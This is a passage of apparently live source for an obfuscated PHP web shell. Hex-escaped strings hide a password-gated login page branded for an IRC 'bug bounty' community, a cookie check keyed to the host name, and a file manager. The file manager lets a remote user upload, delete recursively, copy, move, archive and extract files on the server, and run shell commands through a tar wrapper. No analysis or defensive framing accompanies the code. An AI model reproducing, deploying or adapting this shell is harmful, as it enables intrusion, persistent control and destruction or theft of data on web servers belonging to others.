65\x70\170\x3b\xa\40\x20\x20\x20\x20\40\40\40\142\141\x63\x6b\147\x72\x6f\x75\156\144\x2d\x69\155\141\x67\x65\72\40\x75\162\x6c\x28\x64\141\164\141\72\x69\155\x61\x67\x65\57\160\156\147\73\142\141\163\x65\x36\x34\54\151\x56\102\117\x52\x77\x30\x4b\107\147\157\x41\x41\x41\x41\x4e\123\x55\150\105\125\x67\x41\101\x41\122\x41\101\x41\x41\105\121\x43\x41\115\101\101\x41\x42\x50\x31\116\x73\x6e\x41\101\101\x41\101\130\x4e\x53\x52\60\x49\101\x72\x73\x34\143\66\x51\x41\101\x41\x45\122\154\127\x45\x6c\155\x54\125\60\101\x4b\x67\x41\101\101\101\x67\x41\x41\x59\x64\160\101\x41\x51\x41\x41\x41\101\x42\101\x41\x41\x41\107\x67\x41\101\101\x41\x41\x41\x41\x36\101\102\x41\101\x4d\101\101\101\101\102\x41\x41\105\101\101\x4b\x41\x43\101\101\121\101\x41\101\x41\x42\101\101\x41\x42\x45\113\x41\104\101\x41\121\x41\101\x41\101\x42\101\101\x41\x42\105\x41\x41\x41\101\x41\101\121\127\170\123\62\101\x41\x41\x41\167\106\102\x4d\x56\x45\x55\x41\101\101\104\x2f\57\57\x2b\101\x67\x49\103\101\x67\120\x39\126\126\141\x71\161\126\146\x2b\161\161\166\53\101\147\x4c\x2b\101\x67\120\x39\155\132\163\170\x6d\132\166\53\x5a\x5a\x76\53\x41\x67\116\x57\x41\147\120\71\164\142\144\164\164\x62\146\x2b\123\142\x66\x2b\101\x59\x4e\x2b\x41\147\116\x2b\x41\x67\120\x39\x78\x63\x65\x4e\x6d\132\166\53\x41\x5a\x75\141\101\x5a\166\x39\x30\x64\117\x68\x30\x64\x50\x39\x71\141\166\x2b\x41\x61\x75\161\x41\141\166\53\x41\147\x50\71\x32\x64\x76\71\164\x62\x66\x2b\101\x62\x65\x32\101\142\146\x39\x33\x5a\165\65\x33\x64\x2b\x36\101\x63\x4f\71\x34\x61\x66\103\x41\x63\146\106\x35\x61\x2b\x52\65\x61\57\112\x7a\132\165\141\101\x5a\166\x4b\x41\x63\x2f\x4a\x35\142\x65\144\65\142\146\x4f\x41\x61\120\116\66\142\57\122\61\141\165\x71\101\x61\166\122\x36\x5a\166\126\66\143\x50\x56\x32\x62\x4f\165\101\142\x50\126\67\x61\120\132\x32\x62\145\x32\x41\x62\x66\x5a\67\141\165\x31\67\141\166\x5a\63\x5a\165\65\63\142\53\65\x37\x61\x2b\x39\67\141\x2f\x64\x34\141\x4f\71\112\x36\103\157\145\x41\x41\101\101\x51\110\x52\x53\124\154\115\101\x41\x51\111\103\x41\167\115\104\102\x41\x51\106\102\x51\125\x47\x42\x67\x63\x48\102\167\147\x49\103\x41\153\113\x43\147\x6f\x4c\x43\167\167\115\104\x41\x77\x4e\104\x67\x34\x4f\104\167\70\121\x45\x52\x49\124\x45\170\121\x55\106\102\125\126\x46\x68\143\x59\x47\x42\153\132\107\150\x6f\142\x48\102\x77\144\110\x52\64\x65\110\170\70\147\x4a\x35\x75\x4d\x57\x77\101\101\101\57\x46\112\122\105\106\x55\145\x4e\162\x74\62\x47\x31\x58\105\153\105\x59\x78\166\110\132\116\x6b\62\x78\x48\107\172\144\142\113\x46\154\x30\x63\124\167\x67\x64\x53\153\103\x4b\x7a\x75\x37\57\53\164\64\160\x77\x36\x73\x41\152\164\152\111\x75\145\105\x2f\146\70\162\x33\146\115\x4f\63\65\156\x5a\x6e\x62\x75\x79\x35\147\126\107\143\x76\x66\172\112\145\x30\162\x6e\124\x66\107\x49\x2b\115\x67\147\107\x4a\x52\x55\132\x6e\x62\160\120\x49\x68\x4a\113\164\x38\x38\x6e\125\x35\x33\112\x6e\106\x55\x4c\166\171\111\x53\131\x36\x4b\101\x76\70\x76\120\152\60\166\x72\62\x72\131\x77\151\105\x32\x5a\62\102\71\112\53\x75\116\x59\143\171\x79\121\x78\x77\127\132\x76\x61\145\x47\x48\x33\x47\x34\142\x4d\152\163\166\x49\57\153\x63\167\x54\103\x2f\126\53\x37\153\114\157\141\150\154\111\124\172\121\157\152\120\63\132\106\147\163\x4a\x43\150\67\111\x4a\x51\x7a\x70\x58\x30\x51\x46\x6a\64\x75\115\x69\131\61\x38\145\104\115\132\x39\142\132\103\106\x39\117\x51\141\x68\x6e\x4b\66\143\x6d\57\x59\x37\152\163\x30\163\x68\57\114\106\63\x41\165\166\x31\x50\x6c\x51\x64\x33\115\170\142\x64\x58\x59\111\x51\x73\x70\126\64\x34\x45\x45\105\101\x41\x41\x57\124\x4e\x44\101\131\x59\153\x4b\144\112\x62\116\x4d\163\x4c\x7a\x59\x75\x65\132\142\141\x5a\62\x69\x4d\x34\66\122\126\x62\x48\x42\x61\x69\132\71\x4a\x73\53\x6e\110\x45\144\154\151\x34\62\x4e\x39\x58\165\123\x65\x6e\x35\150\x47\160\x31\103\x51\124\165\x4f\112\121\104\x52\163\x44\x39\71\116\x34\147\115\x53\160\131\x57\x61\x70\x4e\110\x36\111\112\157\x38\x33\x43\x49\x65\111\x4c\132\x51\106\145\163\105\141\x62\145\x72\x37\x39\x4e\103\x57\122\x6f\x75\x6b\117\x70\x4e\105\x6e\127\60\147\x58\121\161\104\70\61\167\66\x41\103\170\150\142\162\x59\144\x65\67\126\x75\x46\103\131\145\101\x32\x51\122\103\116\111\163\x67\132\111\123\171\x4e\111\x71\172\x36\111\x79\x68\120\x6a\x4f\152\116\x56\x49\106\131\156\x69\x4b\x33\x64\x6d\x4b\x55\66\121\x64\114\x61\x4a\125\x69\x6d\x45\171\x53\162\x44\x5a\114\x72\102\115\x6c\x72\147\x78\122\113\x55\67\163\170\x43\167\57\x45\x4d\x65\60\x43\x41\x67\147\147\147\x41\104\171\123\112\103\x71\x78\x69\170\111\153\113\x70\116\x45\x68\x36\x49\x6f\172\105\114\x44\x38\x52\170\152\x51\x41\103\x43\103\x43\101\101\120\x4a\111\x6b\x4b\162\107\x4c\105\x67\x51\130\161\x71\x41\x41\x45\x4a\x6a\170\162\x51\114\103\103\x43\101\x41\x45\x4a\152\x52\x6d\x4e\x47\131\x38\141\60\103\x77\147\x67\147\101\102\x43\131\167\131\x49\x66\x51\x67\147\147\x4e\x43\131\x4d\145\60\x43\x41\x67\147\x67\147\x4e\103\x59\x30\x5a\x6a\122\x6d\104\110\x74\101\x67\x49\x49\111\111\101\101\121\155\x4e\x47\x48\x77\111\x49\111\x44\122\155\x54\114\165\101\101\x41\x49\111\x49\x44\122\x6d\116\107\131\60\x5a\153\171\x37\x67\x41\x41\x43\103\103\x43\101\60\112\152\x52\x68\167\x41\x43\103\x49\x30\x5a\60\171\x34\147\x67\x41\101\103\103\111\x30\x5a\x6a\122\x6d\116\x47\144\115\x75\x49\x49\101\101\x41\147\x67\147\116\x47\142\x30\111\x59\x41\101\x51\x6d\120\107\x74\x41\x73\x49\111\x49\101\x41\121\155\116\x47\131\60\132\152\170\162\121\114\103\103\x43\101\x41\101\111\x49\152\x52\154\x39\103\103\103\101\60\112\147\170\x37\121\x49\103\103\103\103\101\x30\112\x6a\122\155\116\x47\131\115\145\60\x43\x41\147\147\x67\x67\x41\102\103\131\x30\x59\146\x41\147\147\x67\x4e\107\x5a\x4d\165\x34\101\101\101\147\x67\147\x4e\107\x59\x30\132\152\122\155\124\114\165\101\101\x41\x49\x49\111\111\x44\121\x6d\x4e\107\110\x41\101\x49\111\x6a\122\156\124\x4c\151\x43\x41\101\x41\111\111\x6a\122\x6d\x4e\x47\x59\60\x5a\111\x45\x79\67\147\101\x41\103\103\103\x41\60\132\166\121\150\x67\101\102\x43\x59\x38\x61\x30\x43\167\147\x67\147\101\x42\103\131\60\x5a\152\102\x67\x69\116\x47\144\x4d\x75\111\111\x41\101\101\x67\151\116\x32\x66\x2f\x53\x68\x2b\121\66\x50\146\x4c\141\x49\x4a\154\117\x6b\x4b\x77\x32\x53\x4b\x6f\124\x4a\x4b\63\x64\x6d\106\x6d\x64\111\x4c\x62\62\x74\102\x76\162\x42\x49\x6c\162\x67\65\x69\x57\122\157\x2b\127\x71\x51\53\x53\x61\101\x52\112\x31\147\103\112\101\x7a\x73\x78\x54\150\x43\116\61\66\x70\x31\x76\116\x75\x72\107\152\116\152\x6f\x6f\x34\x32\x6a\60\x37\153\101\110\106\163\153\157\131\62\x6b\105\142\x6c\x33\63\125\x30\132\x67\157\x50\x6a\x58\127\x2b\122\154\x30\147\x6b\141\x72\x6e\141\x68\x71\164\x44\x61\x4a\113\x78\x4d\x50\104\104\127\111\x69\x4e\141\x66\107\x65\156\x68\x34\x67\105\x78\166\x56\x68\130\x66\155\153\x37\x44\141\66\x4c\x31\101\126\107\170\123\x62\171\62\x68\x36\115\170\113\67\71\x5a\x6b\x34\62\145\x61\x31\160\112\142\x4a\x34\x38\x73\x55\62\172\x44\145\x7a\x51\x38\151\171\61\172\x36\102\x42\x77\157\x79\x6a\115\121\x73\x76\x58\x70\70\x59\x51\101\101\x68\x67\x41\104\151\154\x52\146\171\171\x2b\167\146\70\x57\161\132\x5a\x55\x66\x47\x5a\151\150\166\x67\x5a\151\x42\x33\106\x79\142\103\53\153\103\125\x55\65\x58\114\x6b\101\x6f\x35\60\103\x2b\147\142\102\121\x64\x55\x7a\x6b\101\x49\x56\x79\145\152\111\101\131\146\106\x54\111\61\163\x6f\x6c\110\x50\x32\x48\147\x4e\103\x6e\110\156\65\101\131\x4e\171\x34\x6a\x76\x70\157\126\102\66\146\126\x7a\114\x39\x31\x63\167\172\x4c\x4a\x39\114\146\x64\x37\123\x30\x6a\x68\145\x68\x78\117\x35\x48\x35\x2f\x79\x65\x50\162\x31\x57\66\147\110\157\x6e\111\67\x66\x4a\x35\x4f\122\x53\122\57\x6e\x36\x51\62\x79\x51\141\x6e\x71\x37\66\x33\x7a\165\130\125\x35\114\112\132\122\113\151\171\104\x2f\127\71\57\x70\152\x6b\144\120\x5a\x7a\60\57\x79\x4a\70\x66\161\x56\x79\x72\171\x2b\x71\121\132\x44\115\x6a\112\x4b\157\x44\146\x79\70\142\x52\x56\x68\x48\x68\121\x54\x77\101\x41\x41\101\101\x53\x55\x56\117\x52\x4b\65\103\x59\111\111\x3d\x29\x3b\xa\x20\40\40\x20\x20\x20\x20\x20\172\x2d\x69\x6e\x64\x65\x78\72\40\x2d\x31\xa\175\xa\xa\x40\x6d\145\144\151\141\x20\x28\x6d\141\x78\55\167\151\x64\x74\150\x3a\x35\67\x35\56\71\70\x70\x78\51\x20\x7b\xa\x20\40\40\40\40\x20\40\x20\x2e\141\165\x74\150\x2d\x77\x72\141\160\x70\x65\162\56\x61\x75\164\150\55\x76\61\40\x2e\141\165\164\x68\55\151\x6e\156\145\x72\72\141\x66\x74\145\162\54\xa\40\x20\x20\40\x20\40\40\40\56\141\165\164\150\x2d\167\162\141\160\x70\x65\162\x2e\141\x75\164\150\55\x76\61\40\x2e\x61\165\x74\x68\55\x69\156\156\145\162\x3a\x62\145\x66\157\x72\x65\x20\173\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\x64\x69\163\x70\154\141\171\x3a\x20\x6e\x6f\x6e\145\12\x20\40\40\40\40\40\x20\40\175\xa\x7d\xa\12\xa\12\56\141\165\x74\150\55\167\x72\141\160\x70\145\x72\x2e\x61\165\164\x68\55\x76\x31\x20\56\141\165\164\x68\55\151\156\156\145\x72\x20\x7b\xa\40\40\x20\40\40\40\x20\x20\x6d\x61\x78\x2d\x77\151\x64\164\150\72\x20\64\60\x30\x70\170\12\x7d\12\xa\x2e\141\165\164\x68\55\167\x72\x61\x70\160\x65\162\40\x2e\x62\162\x61\x6e\144\55\154\x6f\147\157\x20\x7b\xa\x20\x20\x20\40\40\x20\x20\x20\x64\151\x73\160\x6c\141\171\x3a\x20\55\167\x65\x62\153\x69\164\55\x62\157\x78\x3b\xa\x20\x20\40\40\x20\40\40\40\144\x69\x73\x70\x6c\x61\171\72\40\55\x77\x65\x62\153\151\164\55\146\x6c\145\170\73\xa\40\40\40\40\40\40\x20\40\144\151\x73\x70\154\141\171\x3a\x20\x2d\155\x73\55\x66\154\x65\170\142\157\170\x3b\12\40\x20\x20\40\x20\40\x20\x20\x64\x69\163\x70\x6c\141\x79\72\40\x66\x6c\145\x78\73\xa\40\40\x20\40\40\x20\40\40\55\x77\145\142\x6b\151\164\x2d\142\157\170\55\160\141\x63\153\x3a\40\143\145\156\x74\145\x72\x3b\12\40\40\x20\x20\40\x20\40\x20\55\167\145\142\x6b\x69\x74\55\x6a\x75\163\164\151\x66\171\x2d\143\157\156\x74\x65\x6e\x74\72\x20\x63\145\x6e\x74\x65\162\x3b\12\40\x20\x20\x20\40\40\x20\40\x2d\155\x73\x2d\146\154\x65\170\x2d\160\x61\143\153\72\40\143\x65\x6e\x74\145\162\x3b\xa\x20\40\x20\x20\40\x20\40\x20\x6a\165\163\x74\x69\146\x79\x2d\x63\x6f\x6e\164\x65\156\x74\72\x20\143\x65\156\x74\x65\162\73\12\x20\x20\40\40\40\40\40\40\155\x61\162\147\151\x6e\x3a\x20\x31\162\145\155\x20\x30\40\62\162\145\x6d\xa\175\xa\12\56\x61\165\x74\x68\55\x77\x72\141\x70\160\145\x72\x20\x2e\x62\162\x61\156\144\x2d\154\x6f\147\x6f\x20\56\142\x72\141\x6e\x64\x2d\164\x65\x78\164\40\x7b\12\x20\x20\40\x20\40\40\40\x20\146\157\x6e\164\55\167\145\151\x67\x68\164\72\x20\x36\x30\x30\xa\175\xa\xa\xa\100\155\x65\x64\151\x61\x20\x28\x6d\151\156\x2d\x77\x69\144\164\x68\72\61\62\60\60\x70\170\x29\x20\x7b\xa\x20\40\x20\40\40\40\40\40\56\141\165\164\x68\55\167\x72\141\x70\160\145\x72\56\x61\x75\x74\150\x2d\166\x32\40\56\x61\165\x74\x68\x2d\x63\x61\162\x64\40\173\12\40\40\x20\40\40\x20\x20\40\40\40\40\40\40\x20\40\x20\167\x69\x64\x74\150\x3a\x20\64\60\x30\x70\170\12\40\40\40\x20\40\x20\x20\x20\x7d\12\175\12\xa\12\40\x20\x20\x20\40\74\x2f\x73\x74\171\154\145\x3e\12\40\x20\x20\40\12\xa\x20\40\x20\40\12\x20\x20\x20\40\12\x20\x20\x20\x20\xa\xa\x20\40\74\57\150\145\141\144\76\12\12\40\x20\x3c\142\x6f\144\171\x20\163\164\x79\154\145\75\42\xa\x20\40\40\x20\x63\x6f\x6c\157\162\x3a\40\43\102\64\102\x37\102\x44\73\xa\x20\40\x20\40\142\x61\x63\153\147\162\157\x75\156\x64\x2d\143\157\x6c\x6f\162\x3a\x20\43\61\66\61\104\63\x31\x3b\12\42\76\xa\40\x20\40\40\xa\40\x20\40\40\74\x64\x69\166\x20\x63\154\x61\163\163\75\42\141\165\x74\x68\x2d\x77\x72\x61\160\x70\145\162\40\x61\x75\x74\150\55\166\x31\x20\160\170\x2d\x32\42\x3e\xa\40\40\x3c\144\151\166\x20\x63\x6c\141\x73\x73\75\x22\x61\x75\x74\x68\x2d\x69\156\156\145\162\x20\160\x79\x2d\x32\42\x3e\12\40\40\x20\x20\12\x3c\x64\151\166\40\143\x6c\x61\163\163\x3d\42\143\x61\162\x64\x20\x6d\x62\55\x30\x22\x20\163\164\171\154\145\75\x22\12\x20\x20\40\40\x62\141\143\x6b\147\162\x6f\165\x6e\x64\55\143\157\154\157\162\x3a\x20\x23\62\x38\63\60\64\66\x3b\12\x20\40\x20\40\142\157\170\55\x73\x68\141\x64\x6f\x77\x3a\40\x30\40\64\x70\170\x20\62\64\x70\x78\40\x30\40\x72\x67\x62\50\63\x34\x20\x34\x31\x20\x34\x37\x20\57\40\62\64\x25\51\x3b\xa\x20\40\x20\40\142\157\162\x64\x65\x72\x2d\x72\141\x64\151\x75\x73\72\x20\61\x35\160\x78\73\12\42\76\x20\xa\40\x20\40\x20\40\x20\x3c\x64\x69\166\x20\x63\x6c\x61\163\163\75\x22\143\x61\162\144\55\142\157\x64\x79\42\x3e\xa\x20\x20\x20\40\x20\x20\x20\40\x3c\141\40\x68\162\145\x66\75\x22\150\164\x74\160\x73\72\57\x2f\x65\x76\157\x63\x68\x61\x74\56\151\144\42\40\x74\141\162\x67\x65\164\x3d\42\x5f\142\154\x61\x6e\153\x22\x20\x73\x74\x79\154\145\x3d\x22\xa\x20\40\x20\40\143\x6f\154\157\162\72\40\x23\x37\x33\66\x37\106\60\x20\41\x69\x6d\160\157\162\164\141\x6e\164\73\12\40\40\x20\x20\x62\x61\143\153\x67\162\x6f\165\156\x64\x2d\x63\x6f\x6c\157\162\72\x20\x74\x72\x61\156\x73\160\x61\162\145\156\164\73\xa\x22\40\143\x6c\141\163\163\75\42\x62\x72\x61\x6e\x64\55\x6c\x6f\x67\157\x22\76\12\40\40\x20\x20\40\40\40\x20\40\40\12\x20\40\x20\x20\40\x20\x20\40\40\40\x3c\x68\62\x20\143\x6c\141\163\163\75\42\142\x72\141\x6e\144\55\x74\145\170\164\x20\164\x65\x78\164\x2d\x70\x72\151\x6d\141\162\171\40\x6d\154\55\x31\42\x20\163\x74\x79\154\145\x3d\42\xa\x20\x20\x20\40\x63\157\x6c\157\x72\72\x20\x23\67\63\x36\67\106\60\40\x21\x69\155\x70\x6f\162\x74\141\x6e\164\x3b\xa\40\x20\40\40\142\x61\x63\153\x67\162\157\x75\156\x64\55\143\x6f\x6c\x6f\162\x3a\x20\x74\162\141\156\x73\160\141\x72\145\x6e\x74\73\12\x22\x3e\x65\x76\x6f\x63\x68\141\x74\56\151\x64\74\57\150\x32\x3e\12\40\40\x20\x20\40\x20\40\40\x3c\x2f\x61\x3e\xa" . $al . "\12\x20\x20\x20\40\x20\40\40\x20\x3c\x68\64\x20\143\x6c\x61\x73\163\75\42\143\141\x72\x64\55\x74\151\164\154\x65\x20\x6d\142\x2d\61\x22\76\43\142\x75\x67\142\x6f\x75\156\x74\171\40\151\x72\143\x2e\x65\x76\x6f\143\x68\x61\164\56\x69\x64\x3c\57\150\x34\x3e\12\40\40\x20\40\40\x20\40\x20\74\x70\x20\x63\x6c\141\163\x73\x3d\42\x63\x61\x72\x64\x2d\x74\145\x78\164\40\x6d\142\x2d\x32\x22\x3e\x4b\157\x6d\x75\x6e\x69\x74\x61\163\40\102\165\147\102\157\x75\156\164\x79\40\151\162\143\56\145\166\157\x63\x68\x61\164\x2e\151\144\x20\142\x75\153\x61\156\40\x70\145\162\x75\163\x61\153\x2c\x20\152\x75\x73\x74\40\120\145\156\164\x65\163\164\74\57\x70\76\xa\xa\x20\x20\x20\40\x20\40\40\x20\x3c\146\157\x72\155\40\155\145\164\150\157\144\x3d\42\160\x6f\163\164\x22\76\xa\x20\x20\x20\x20\x20\40\40\x20\x20\x20\74\x64\151\166\x20\143\x6c\141\x73\163\75\42\x66\157\162\x6d\55\x67\x72\157\x75\x70\x22\x3e\xa\x20\x20\x20\40\x20\x20\40\40\x20\40\40\40\74\x6c\x61\142\145\x6c\40\x63\x6c\141\163\163\x3d\x22\146\157\x72\x6d\55\x6c\141\142\145\154\42\x3e\x50\x61\x73\163\x77\157\162\x64\x3c\x2f\154\x61\x62\145\154\x3e\xa\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\74\x69\x6e\x70\x75\x74\40\162\145\x71\x75\x69\162\145\x64\x3d\x22\42\x20\x74\171\x70\x65\x3d\42\160\x61\x73\x73\167\157\x72\x64\42\40\143\x6c\x61\163\163\75\42\x66\x6f\162\155\55\143\x6f\x6e\164\x72\157\154\42\40\156\x61\x6d\x65\x3d\42\x70\141\x73\x73\x22\40\x70\154\x61\x63\x65\x68\157\154\144\x65\x72\75\x22\x50\x61\x73\x73\x77\x6f\x72\x64\42\40\x61\165\164\157\146\157\143\x75\163\x3d\x22\42\x20\x73\x74\171\x6c\145\75\42\12\40\40\x20\x20\x62\157\x72\x64\145\162\55\143\x6f\154\157\162\x3a\x20\43\64\x30\x34\66\65\x36\73\xa\x20\x20\40\40\x62\x61\x63\153\147\x72\157\165\x6e\x64\55\x63\157\154\x6f\162\72\x20\x23\x32\70\x33\60\x34\x36\73\xa\40\40\x20\40\143\x6f\x6c\x6f\x72\72\40\43\x42\x34\102\67\x42\104\73\12\x22\76\12\40\x20\40\x20\x20\x20\40\x20\40\x20\x3c\x2f\144\x69\166\76\12\x20\x20\40\x20\x20\x20\x20\x20\40\40\74\x69\x6e\x70\165\x74\x20\166\141\154\165\145\x3d\x22\163\165\142\155\151\164\x22\x20\164\x79\160\x65\x3d\42\x73\x75\x62\155\x69\x74\x22\40\x6e\141\x6d\x65\x3d\x22\167\141\164\143\x68\x69\x6e\x67\42\40\143\154\x61\163\163\75\42\x62\164\156\x20\142\164\156\55\160\x72\x69\155\x61\162\x79\40\142\x74\x6e\x2d\142\154\157\143\153\40\x77\x61\166\x65\x73\55\145\146\x66\145\143\164\40\x77\141\166\145\163\55\146\x6c\157\141\164\x20\167\x61\x76\145\x73\x2d\x6c\x69\x67\150\164\42\x20\x73\164\x79\154\x65\x3d\x22\xa\x20\40\x20\40\x63\157\x6c\x6f\x72\x3a\40\x23\x46\106\x46\x3b\xa\x20\x20\40\x20\x62\141\x63\153\x67\162\157\x75\156\144\55\143\x6f\x6c\157\x72\x3a\40\x23\67\x33\x36\x37\106\60\x3b\12\x20\40\x20\40\x62\x6f\x72\x64\145\x72\55\143\x6f\x6c\157\x72\72\40\43\67\x33\66\67\x46\x30\73\12\x22\x3e\xa\x20\x20\x20\x20\40\40\x20\40\x3c\x2f\146\x6f\x72\x6d\76\xa\12\40\x20\40\40\x20\x20\x20\x20\xa\40\40\40\x20\40\40\74\57\144\x69\166\76\xa\x20\40\x20\x20\x3c\57\x64\151\x76\x3e\xa\12\40\40\x3c\57\x64\x69\166\76\xa\74\57\144\151\166\x3e\xa\xa\x20\x20\x20\40\40\x20\x20\40\xa\40\40\x20\40\40\x20\xa\x20\40\x20\40\xa\40\40\40\x20\xa\xa\xa\x20\40\40\x20\xa\40\40\x20\x20\12\x20\x20\40\x20\xa\12\x20\x20\x20\x20\xa\x20\40\x20\x20\12\x20\x20\x20\40\12\x20\40\40\x20\12\xa\40\x20\x20\x20\12\x20\40\40\x20\xa\x20\x20\x20\x20\12\40\40\40\x20\xa\xa\40\40\x20\x20\xa\x20\40\40\40\12\40\40\40\x20\xa\12\x20\x20\40\x20\xa\40\x20\12\40\40\xa\x3c\57\x62\157\144\171\x3e\74\x2f\x68\164\x6d\154\x3e"); } goto fQaHX; gJc6v: if (!empty($password_shell) && isset($_COOKIE[md5($_SERVER["\110\x54\x54\120\x5f\110\117\123\124"])]) && $_COOKIE[md5($_SERVER["\110\x54\x54\x50\137\x48\117\x53\124"])] == $password_shell || empty($password_shell)) { if (isset($_REQUEST["\143\150\141\x6e\x67\145\160\x61\x73\163"]) && isset($_REQUEST["\162\x65\x6e\141\155\x6f\x73"])) { die(changer($_REQUEST["\x63\x68\141\156\147\x65\160\141\163\x73"], $_REQUEST["\x72\145\156\141\x6d\x6f\163"])); } } goto YG3Ej; QvhaV: if (get_magic_quotes_gpc()) { function stripslashes_array($array) { return is_array($array) ? array_map("\x73\x74\162\151\160\x73\154\141\163\x68\145\163\137\x61\162\x72\141\x79", $array) : stripslashes($array); } $_POST = stripslashes_array($_POST); $_COOKIE = stripslashes_array($_COOKIE); } goto V8Q20; uKB5l: function actionFilesMan() { if (!empty($_COOKIE["\146"])) { $_COOKIE["\x66"] = @unserialize($_COOKIE["\x66"]); } if (!empty($_POST["\160\61"])) { switch ($_POST["\x70\61"]) { case "\x75\x70\154\157\x61\x64\106\151\x6c\x65": if (is_array($_FILES["\x66"]["\x74\x6d\160\137\156\141\x6d\x65"])) { foreach ($_FILES["\x66"]["\x74\155\160\137\156\141\x6d\x65"] as $i => $tmpName) { if (!@move_uploaded_file($tmpName, $_FILES["\x66"]["\156\x61\x6d\x65"][$i])) { echo "\x43\141\x6e\x27\x74\40\x75\160\154\157\141\144\x20\146\x69\x6c\145\x21"; } } } break; case "\x6d\153\x64\x69\x72": if (!@mkdir($_POST["\160\62"])) { echo "\103\x61\156\47\164\40\x63\x72\145\x61\164\145\40\x6e\x65\x77\x20\x64\151\x72"; } break; case "\144\x65\x6c\145\x74\145": function deleteDir($path) { $path = substr($path, -1) == "\57" ? $path : $path . "\x2f"; $dh = opendir($path); while (($dokl = readdir($dh)) !== false) { $dokl = $path . $dokl; if (basename($dokl) == "\x2e\x2e" || basename($dokl) == "\x2e") { continue; } $type = filetype($dokl); if ($type == "\144\x69\162") { deleteDir($dokl); } else { @unlink($dokl); } } closedir($dh); @rmdir($path); } if (is_array(@$_POST["\146"])) { foreach ($_POST["\146"] as $f) { if ($f == "\56\56") { continue; } $f = urldecode($f); if (is_dir($f)) { deleteDir($f); } else { @unlink($f); } } } break; case "\x70\x61\x73\x74\x65": if ($_COOKIE["\x61\x63\164"] == "\143\x6f\x70\171") { function copy_paste($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "\x2e" and $f != "\56\56") { copy_paste($c . $s . "\57", $f, $d . $s . "\57"); } } } elseif (is_file($c . $s)) { @copy($c . $s, $d . $s); } } foreach ($_COOKIE["\146"] as $f) { copy_paste($_COOKIE["\143"], $f, $GLOBALS["\x63\167\x64"]); } } elseif ($_COOKIE["\x61\143\164"] == "\x6d\x6f\166\145") { function move_paste($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "\x2e" and $f != "\x2e\x2e") { copy_paste($c . $s . "\57", $f, $d . $s . "\x2f"); } } } elseif (@is_file($c . $s)) { @copy($c . $s, $d . $s); } } foreach ($_COOKIE["\x66"] as $f) { @rename($_COOKIE["\x63"] . $f, $GLOBALS["\143\167\x64"] . $f); } } elseif ($_COOKIE["\141\143\x74"] == "\172\151\160") { if (class_exists("\x5a\151\x70\x41\162\x63\150\151\166\x65")) { $zip = new ZipArchive(); if ($zip->open($_POST["\x70\62"], 1)) { chdir($_COOKIE["\x63"]); foreach ($_COOKIE["\x66"] as $f) { if ($f == "\x2e\56") { continue; } if (@is_file($_COOKIE["\143"] . $f)) { $zip->addFile($_COOKIE["\x63"] . $f, $f); } elseif (@is_dir($_COOKIE["\x63"] . $f)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . "\57", FilesystemIterator::SKIP_DOTS)); foreach ($iterator as $key => $value) { $zip->addFile(realpath($key), $key); } } } chdir($GLOBALS["\x63\x77\x64"]); $zip->close(); } } } elseif ($_COOKIE["\141\x63\164"] == "\165\x6e\172\x69\160") { if (class_exists("\132\151\x70\x41\x72\x63\x68\151\166\145")) { $zip = new ZipArchive(); foreach ($_COOKIE["\146"] as $f) { if ($zip->open($_COOKIE["\143"] . $f)) { $zip->extractTo($GLOBALS["\x63\x77\x64"]); $zip->close(); } } } } elseif ($_COOKIE["\141\143\164"] == "\164\141\162") { chdir($_COOKIE["\x63"]); $_COOKIE["\146"] = array_map("\145\x73\x63\141\160\x65\x73\x68\145\154\x6c\141\162\147", $_COOKIE["\146"]); ex("\x74\x61\x72\40\x63\146\172\166\40" . escapeshellarg($_POST["\x70\x32"]) . "\x20" . implode("\x20", $_COOKIE["\146"])); chdir($GLOBALS["\x63\x77\144"]); } unset($_COOKIE["\x66"]); setcookie("\146", '', time() - 3600); break; default: if (!empty($_POST["\x70\x31"])) { prototype("\141\143\164", $_POST["\x70\x31"]); prototype("\146", serialize(@$_POST["\146"])); prototype("\143", @$_POST["\143"]); } break; } } hardHeader(); echo "\x3c\x68\x31\76\x46\151\x6c\145\x20\155\x61\x6e\x61\147\x65\162\74\57\150\x31\76\x3c\144\x69\x76\x20\143\x6c\x61\163\x73\x3d\x63\x6f\x6e\164\x65\x6e\164\x3e\74\163\x63\162\151\160\x74\76\x70\61\x5f\75\x70\x32\x5f\x3d\160\63\137\75\x22\42\73\x3c\x2f\163\x63\162\x69\x70\x74\76"; $dirContent = hardScandir(isset($_POST["\143"]) ? $_POST["\x63"] : $GLOBALS["\143\167\x64"]); if ($dirContent === false) { echo "\103\x61\x6e\x27\164\x20\x6f\160\x65\156\40\164\150\x69\x73\x20\146\157\154\144\x65\x72\x21"; hardFooter(); return; } global $sort; $sort = array("\156\x61\155\x65", 1); if (!empty($_POST["\160\x31"])) { if (preg_match("\x21\x73\137\x28\133\x41\55\x7a\135\x2b\x29\x5f\x28\x5c\x64\x7b\61\x7d\51\x21", $_POST["\x70\61"], $match)) { $sort = array($match[1], (int) $match[2]); } } echo "\x3c\163\143\x72\x69\x70\x74\x3e\xa\40\x20\x20\x20\x20\x20\40\40\146\x75\x6e\x63\164\x69\157\156\x20\163\x61\50\51\x20\173\12\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\40\40\40\40\x66\157\162\x28\x69\x3d\60\73\x69\x3c\144\56\x66\x69\154\x65\163\56\145\x6c\145\x6d\x65\156\164\163\56\154\145\x6e\147\164\x68\73\x69\x2b\53\x29\xa\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\x20\40\40\x69\146\x28\144\56\x66\151\154\145\163\56\145\154\145\155\145\x6e\x74\x73\133\x69\x5d\56\164\x79\160\145\x20\x3d\x3d\40\47\x63\x68\145\x63\x6b\142\157\170\x27\51\xa\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\144\56\146\x69\154\145\163\x2e\145\154\x65\x6d\145\156\x74\x73\x5b\151\135\56\143\150\145\x63\x6b\145\x64\40\75\x20\x64\56\146\x69\x6c\145\163\56\x65\x6c\x65\155\x